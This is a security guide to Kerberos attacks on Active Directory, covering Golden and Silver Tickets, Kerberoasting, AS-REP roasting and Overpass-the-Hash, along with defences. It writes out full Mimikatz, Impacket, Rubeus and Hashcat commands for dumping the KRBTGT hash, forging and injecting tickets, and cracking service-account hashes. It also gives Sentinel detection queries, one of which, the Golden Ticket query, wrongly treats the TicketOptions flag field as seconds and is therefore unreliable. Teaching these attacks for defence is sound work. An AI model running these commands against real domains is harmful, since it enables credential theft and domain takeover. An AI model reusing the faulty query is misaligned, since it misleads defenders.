Kerberos Angriffe - Golden Ticket, Silver Ticket, Kerberoasting

Kerberos attacks target vulnerabilities in the Windows Kerberos authentication protocol (Kerberos Version 5). Since Kerberos is the primary authentication protocol in Active Directory domains, successful Kerberos attacks often have far-reaching consequences, including complete domain takeover.

Kerberos Basics

The Kerberos system is based on tickets issued by the Key Distribution Center (KDC)—the domain controller.

TGT (Ticket Granting Ticket): Issued by the KDC and encrypted with the KRBTGT account hash. It proves successful authentication and is valid for 10 hours by default.

TGS (Ticket Granting Service / Service Ticket): Issued by the KDC based on a valid TGT and encrypted with the hash of the service account (SPN). It proves authorization to access a specific service and is also valid for 10 hours by default.

SPN (Service Principal Name): Identifies a service in the domain in the format ServiceClass/Host:Port/ServiceName, for example MSSQLSvc/sql01.corp.local:1433. Service accounts with SPNs are the target of Kerberoasting.

KRBTGT account: A special AD account with no real user. Its hash encrypts all TGTs in the domain—compromising it results in complete domain takeover via Golden Tickets.

Golden Ticket

What is a Golden Ticket?

A Golden Ticket is a forged TGT signed with the KRBTGT hash. The domain controller accepts it as valid because the signature is correct. A Golden Ticket can impersonate any user, including domain admins, has an adjustable validity period of typically 10 years, and remains valid even after user account passwords are changed—only a KRBTGT password rotation invalidates it.

Prerequisite: The KRBTGT hash must be known. This can only be obtained via DCSync (requires replication rights) or by directly accessing the domain controller (reading NTDS.dit).

Create a Golden Ticket (Mimikatz)

# Step 1: Extract KRBTGT hash (as Domain Admin):
mimikatz# lsadump::lsa /patch
# KRBTGT hash: 31d6cfe0d16ae931b73c59d7e0c089c0
# Or via DCSync:
mimikatz# lsadump::dcsync /user:krbtgt

# Step 2: Determine the domain SID:
Get-ADDomain | Select-Object -ExpandProperty DomainSID
# S-1-5-21-3623811015-3361044348-30300820

# Step 3: Create and inject the golden ticket:
mimikatz# kerberos::golden \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-3623811015-3361044348-30300820 \
  /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 \
  /ptt  # Pass-the-Ticket: inject directly into session!

# Impacket (remote):
ticketer.py -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \
  -domain-sid S-1-5-21-... \
  -domain corp.local \
  Administrator
KRB5CCNAME=Administrator.ccache psexec.py corp.local/Administrator@dc01

Protective Measures Against Golden Tickets

The KRBTGT password must be rotated twice, as the first reset leaves the old hash valid for ongoing TGTs. Only the second rotation, after about 10 hours, invalidates all old TGTs. Microsoft Defender for Identity automatically detects the use of Golden Tickets. Additionally, monitoring Event ID 4769 for abnormal fields, such as unusually long validity periods, helps.

Silver Ticket

What is a Silver Ticket?

A Silver Ticket is a forged TGS (Service Ticket) for a specific service. It is signed with the service account hash, not the KRBTGT hash. Since the domain controller does not need to be contacted in this process, no logs are generated on the DC—making Silver Tickets harder to detect than Golden Tickets.

Prerequisite: The hash of the service account or computer account must be known.

Creating a Silver Ticket (Mimikatz)

# For CIFS (SMB access) to SQL Server:
mimikatz# kerberos::golden \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-... \
  /target:sql01.corp.local \
  /service:cifs \
  /rc4:A9FDFA038C4B75EBC76DC855DD74F0DA \
  /ptt

# For MSSQLSvc:
# /service:MSSQLSvc /target:sql01.corp.local:1433

Vulnerable Services

Service	Access
cifs	SMB file access
host	Remote shell (PsExec)
http	HTTP/HTTPS services
MSSQLSvc	SQL Server
wsman	WinRM/PowerShell Remoting

Protective Measures Against Silver Tickets

• gMSA (Group Managed Service Accounts): Automatically rotated passwords eliminate permanently valid hashes
• Strong passwords for service accounts (at least 25 random characters)
• Least Privilege: Service accounts without domain admin rights
• Protected Users Group: Protect service accounts in the "Protected Users" group

Kerberoasting (in detail)

Why Kerberoasting works

Every domain user can request a TGS for every SPN—this is part of the Kerberos protocol. The TGS is encrypted with the service account hash and contains known plaintext fields, making it crackable offline. The attacker does not need any admin rights; a standard domain user is sufficient.

Kerberoasting Tools

# GetUserSPNs.py (Impacket):
GetUserSPNs.py corp.local/normaluser:Password \
  -dc-ip 10.0.0.1 \
  -request \
  -outputfile hashes.txt
# hashes.txt contains Hashcat format $krb5tgs$23$...

# Rubeus (Windows):
Rubeus.exe kerberoast /outfile:hashes.txt

# PowerView:
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat

# Crack the hash (Hashcat):
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

Protective Measures Against Kerberoasting

• Strong Passwords for SPN accounts: at least 25 random characters make offline cracking impractical
• gMSA: automatically rotated 240-character passwords render Kerberoasting virtually ineffective
• Minimal SPNs: Only register SPNs when absolutely necessary
• Detection: Monitor Event ID 4769 with Encryption Type 0x17 (RC4) for SPN accounts. Modern accounts use AES encryption—RC4 requests for SPN accounts are a strong indication of Kerberoasting.

AS-REP Roasting

How it works

Normally, the user sends an encrypted timestamp for pre-authentication before the KDC issues a TGT. If the "Don't require Kerberos preauthentication" option is enabled, the KDC issues a TGT without prior authentication. This TGT contains data encrypted with the user password hash, which can be cracked offline.

Finding Vulnerable Accounts

# Active Directory - Accounts without Pre-Auth:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties *

# GetNPUsers.py (Impacket, without AD credentials!):
GetNPUsers.py corp.local/ \
  -dc-ip 10.0.0.1 \
  -usersfile users.txt \
  -format hashcat

# Rubeus:
Rubeus.exe asreproast /outfile:asrep-hashes.txt

# Crack the hash:
hashcat -m 18200 asrep-hashes.txt rockyou.txt

Protective Measures Against AS-REP Roasting

Pre-authentication should be enabled for all accounts—this is the default and should never be disabled without good reason:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
  Set-ADUser -DoesNotRequirePreAuth $false

Additionally, we recommend regular audits to identify which accounts have this flag set, as well as strong passwords for cases where pre-authentication is technically unavoidable (e.g., certain API authentication scenarios).

Overpass-the-Hash

What is Overpass-the-Hash?

Unlike Pass-the-Hash, which uses an NTLM hash directly for NTLM authentication, Overpass-the-Hash converts an NTLM hash into a Kerberos TGT. The advantage is reduced detection, since Kerberos is used instead of NTLM—useful in environments where NTLM is blocked.

# Mimikatz:
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:HASH /run:cmd.exe
# Opens CMD with an Administrator Kerberos ticket!

# Impacket:
getTGT.py -hashes :NTLM_HASH corp.local/Administrator
KRB5CCNAME=Administrator.ccache psexec.py corp.local/Administrator@target

Diamond Tickets (newer technique)

Diamond Tickets are an evolution of the Golden Ticket concept: Instead of creating a completely forged TGT, a genuine TGT is modified. The valid TGT structure is retained, and only the PAC (Privilege Attribute Certificate) is changed. This makes Diamond Tickets harder to detect than classic Golden Tickets, as there are no "unrealistic" fields such as extreme validity periods. Detection requires a higher level of detection maturity with MDI and custom SIEM rules.

Detection and Protection

Microsoft Defender for Identity (MDI)

MDI automatically detects the following attacks on domain controllers:

• Kerberoasting: Multiple TGS requests for SPN accounts
• Golden Ticket: TGT with unusual validity
• Pass-the-Ticket: TGT used from a foreign host
• DCSync: Replication requests from non-DCs

Prerequisite: The MDI sensor must be deployed on all domain controllers (Azure Portal → Defender for Identity).

KQL Queries for Microsoft Sentinel

// Kerberoasting Detection (many TGS requests):
SecurityEvent
| where EventID == 4769
| where TicketOptions == "0x40810000"
| where TicketEncryptionType == "0x17"  // RC4 → suspicious!
| summarize count() by Account, ServiceName, IpAddress, bin(TimeGenerated, 1h)
| where count_ > 10

// AS-REP Roasting:
SecurityEvent
| where EventID == 4768  // TGT requested
| where PreAuthType == "0"  // No pre-authentication!
| project TimeGenerated, Account, IpAddress

// Golden Ticket (Ticket validity > 10h):
SecurityEvent
| where EventID == 4769
| extend TicketExpiry = dateadd('second', tolong(TicketOptions), TimeGenerated)
| where datetime_diff('hour', TicketExpiry, TimeGenerated) > 10

Hardening Checklist

• Rotate the KRBTGT password at least twice a year
• Use gMSA for all service accounts (no manual password)
• Enable pre-authentication for all accounts
• Add privileged accounts to the Protected Users Group
• Use Kerberos AES256; disable RC4 where possible
• Deploy Microsoft Defender for Identity on all DCs
• Implement tiered model: KRBTGT access only for Tier 0